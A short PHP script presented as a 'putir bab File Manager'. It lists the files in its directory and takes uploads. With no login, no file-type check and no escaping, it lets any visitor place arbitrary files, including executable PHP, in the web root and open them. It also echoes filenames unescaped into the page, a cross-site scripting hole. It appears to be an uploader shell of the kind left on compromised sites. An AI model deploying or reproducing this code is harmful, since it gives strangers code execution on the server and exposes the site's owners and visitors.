<?php
$path = getcwd();

// Upload Handle
$message = "";
if (isset($_FILES['upload']) && $_FILES['upload']['error'] == 0) {

    $filename = basename($_FILES['upload']['name']);
    $target = $path . "/" . $filename;

    if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
        $message = "<p style='color:lightgreen;'>File uploaded successfully!</p>";
    } else {
        $message = "<p style='color:red;'>Upload failed!</p>";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>putir bab File Manager</title>

    <style>
        body {
            margin:0;
            padding:20px;
            font-family: Arial;
            color:#fff;

            background-image: url('background.jpg');
            background-size: cover;
            background-position: center;
            background-attachment: fixed;
            background-repeat: no-repeat;
        }

        /* Dark overlay for readability */
        body::before {
            content:"";
            position:fixed;
            top:0;
            left:0;
            width:100%;
            height:100%;
            background:rgba(0,0,0,0.75);
            z-index:-1;
        }

        h2 {
            margin-top:0;
        }

        a {
            color:#00ff88;
            text-decoration:none;
        }

        table {
            width:100%;
            border-collapse: collapse;
            background: rgba(0,0,0,0.6);
        }

        th, td {
            padding:8px;
            border-bottom:1px solid #333;
        }

        .upload-box {
            margin-bottom:20px;
            padding:10px;
            background: rgba(0,0,0,0.6);
        }

        input[type="submit"]{
            cursor:pointer;
        }
    </style>
</head>
<body>

<h2>putir bab File Manager</h2>
<p>Current Path: <?php echo $path; ?></p>

<div class="upload-box">
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="upload" required>
        <input type="submit" value="Upload">
    </form>
    <?php echo $message; ?>
</div>

<table>
<tr>
    <th>Name</th>
    <th>Size</th>
    <th>Type</th>
</tr>

<?php
$files = scandir($path);

foreach ($files as $file) {
    if ($file != ".") {

        echo "<tr>";
        echo "<td><a href='$file'>$file</a></td>";

        if (is_file($file)) {
            echo "<td>" . filesize($file) . " bytes</td>";
            echo "<td>File</td>";
        } else {
            echo "<td>-</td>";
            echo "<td>Folder</td>";
        }

        echo "</tr>";
    }
}
?>

</table>

</body>
</html>